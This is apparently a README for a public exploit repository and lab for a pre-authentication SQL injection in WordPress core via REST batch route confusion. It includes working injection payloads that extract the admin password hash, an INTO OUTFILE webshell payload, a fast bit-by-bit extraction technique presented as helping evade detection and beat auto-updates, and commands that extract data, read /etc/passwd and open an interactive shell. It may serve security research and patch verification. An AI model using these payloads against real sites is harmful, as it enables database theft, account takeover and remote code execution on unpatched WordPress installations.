## https://sploitus.com/exploit?id=92CDB386-8871-5B12-AE80-BC549C9AC39C
# wp2shell-lab
Educational PoC and lab for **CVE-2026-63030 + CVE-2026-60137** β pre-authentication SQL injection in WordPress core via REST batch-route confusion.
Discovered by Adam Kues (Searchlight Cyber / Assetnote). Fixed in WordPress 6.9.5 / 7.0.2.
| Version | Status |
|---------|--------|
| < 6.9.0 | not affected |
| 6.9.0 β 6.9.4 | **affected** |
| 7.0.0 β 7.0.1 | **affected** |
## The vulnerability in one diagram
```
ATTACKER (anonymous)
β
β POST /?rest_route=/batch/v1 β no auth required
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OUTER BATCH (serve_batch_request_v1) β
β β
β sub-requests: β
β [0] "http://" β fails wp_parse_url() β
β [1] POST /wp/v2/posts β body carries inner batch β
β [2] POST /batch/v1 β supplies batch handler β
β β
β $validation: [ error, OK(posts), OK(batch) ] β
β $matches: [ posts_handler, batch_handler ] β
β β β
β BUG: error skipped in $matches, arrays misalign β
β β
β dispatch: request[1] (posts) gets $matches[1] (batch handler) β
β β posts body executed as a nested batch β
ββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β INNER BATCH (recursive serve_batch_request_v1) β
β β
β sub-requests: β
β [0] "http://" β same desync trick β
β [1] POST /categories β author_exclude= β
β [2] GET /wp/v2/posts β supplies posts handler β
β β
β Same misalignment: β
β request[1] (categories) gets $matches[1] (posts get_items) β
β β
β categories schema has no author_exclude β value unsanitized β
β posts get_items maps author_exclude β WP_Query::author__not_in β
ββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β WP_Query (vulnerable code, pre-6.9.5) β
β β
β // author__not_in is a STRING, not an array β
β // is_array() check fails β absint() sanitization skipped β
β // raw string interpolated directly into SQL β
β β
β $where .= "AND post_author NOT IN ($author__not_in)" β
β ^^^^^^^^^^^^ β
β attacker-controlled β
β β
β β SQL INJECTION β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
## Step by step
### Step 1: The batch endpoint is unauthenticated
`POST /wp-json/batch/v1` lets you send multiple REST API calls in one request. It has **no auth check** β security is delegated to each sub-request's own permission callback.
### Step 2: The desync
`serve_batch_request_v1()` builds two parallel arrays:
- `$matches[]` β which handler to **dispatch** each sub-request to
- `$validation[]` β whether each sub-request **passed validation**
It indexes both by the same offset during dispatch. The bug: when a sub-request's path fails `wp_parse_url()`, a `WP_Error` is pushed to `$validation` but **not** `$matches`. This shifts `$matches` by one, so each subsequent sub-request is dispatched to the **wrong handler**.
### Step 3: Double nesting
The desync is used **twice**:
1. **Outer batch** β a `/wp/v2/posts` request carrying an inner batch as its body gets dispatched under the **batch handler** (self-call). Since it was validated as a posts request, the inner `requests` array was never checked against the batch schema. This bypasses the method allowlist β inner sub-requests can use GET.
2. **Inner batch** β a `/wp/v2/categories?author_exclude=` request gets dispatched under posts `get_items()`. The categories schema doesn't define `author_exclude`, so it passes validation untouched. But posts `get_items()` maps it to `WP_Query::author__not_in`, where the value is interpolated raw into SQL.
### Step 4: The SQL injection
The vulnerable `WP_Query` code only sanitized `author__not_in` when it was already an array:
```php
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
```
A string value bypasses the `is_array()` gate entirely. The `(array)` cast wraps it without sanitizing.
### Step 5: What you can do with it
**Read the database** (every affected site):
```
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
```
Boolean oracle: posts returned = true, empty = false. Binary search per character.
**Write files** (requires MySQL FILE privilege β not the default):
```
author_exclude = 0) AND 1=0 UNION SELECT '' INTO OUTFILE '/path/shell.php'-- -
```
## Why fast extraction matters when RCE exists
The INTO OUTFILE RCE requires **MySQL FILE privilege** β the DB user must have `GRANT FILE ON *.*`. This is **not** the WordPress default. Managed hosts (cPanel, WP Engine, Kinsta, etc.) grant per-database privileges only. FILE shows up mainly on self-managed VPS/DIY stacks.
On the vast majority of real WordPress sites:
```
βββββββββββββββββββββββ
β Can you get RCE? β
ββββββββββββ¬βββββββββββ
β
ββββββββββββΌβββββββββββ
β DB user has FILE? β
ββββββββββββ¬βββββββββββ
β± β²
yes no (most sites)
β± β²
βββββββββΌβββββββ βββββββΌβββββββββββββββββββ
β INTO OUTFILE β β Extract admin hash β
β β webshell β β β crack offline β
β (1 request) β β β login β upload pluginβ
ββββββββββββββββ βββββββ¬βββββββββββββββββββ
β
how many requests
to extract the hash?
β
β± β²
blind fast
~224 req ~3 req
~2 min ~1 sec
```
For the **common case** (no FILE privilege), the attack path is: extract admin password hash β crack it offline β log in β upload a plugin webshell. The hash extraction is the bottleneck. Blind extraction takes ~224 HTTP requests (~2 minutes). Fast extraction does it in ~3 requests (~1 second). That matters for:
- **Detection evasion** β 3 requests vs 224 in WAF logs
- **Race conditions** β extract before auto-update patches the site
- **Practical speed** β on an engagement with many WordPress targets
## What's new in this repo
### X-WP-Total bitmask oracle
WordPress adds `SQL_CALC_FOUND_ROWS` to post queries and puts the count in the `X-WP-Total` response header. UNION rows are counted at the SQL level even though PHP filters them from the response body. We use conditional UNIONs to encode individual bits:
```sql
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 4) > 0 -- bit 2
... -- bits 3-6
-- -
```
X-WP-Total = 0 (bit not set) or 1 (bit set). Seven probes = one full ASCII character.
### Unlimited inner batch
The outer batch endpoint validates `maxItems: 25` via its schema. But the route confusion bypasses this β the inner batch runs through `serve_batch_request_v1()` recursively with **no size check**. We pack all 7 bit-probes for multiple characters into one inner batch.
16 characters Γ 7 bits = 112 probes per HTTP request. A 34-char phpass hash in ~3 requests.
## Quick start
```bash
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege β the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
```
## Modules
```
exploit/
βββ batch.py payload construction + HTTP client
βββ detect.py marker probe (safe) + timing confirmation
βββ blind.py boolean oracle, binary search, 1 bit/request
βββ fast.py X-WP-Total bitmask oracle, batch-parallel, ~16 chars/request
βββ rce.py INTO OUTFILE webshell (needs FILE privilege)
βββ __main__.py CLI: check, extract, rce, debug-fast
docker/
βββ compose.yaml WordPress 6.9.4 + MySQL 8.0
βββ init.sql grants FILE privilege for RCE testing
βββ setup.sh one-command lab setup
```
## References
- [WordPress 7.0.2 release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Searchlight Cyber advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)
- [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) (route confusion)
- [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) (SQLi)
## Legal
For authorized security testing and education only. Use exclusively against systems you own or have explicit written permission to test.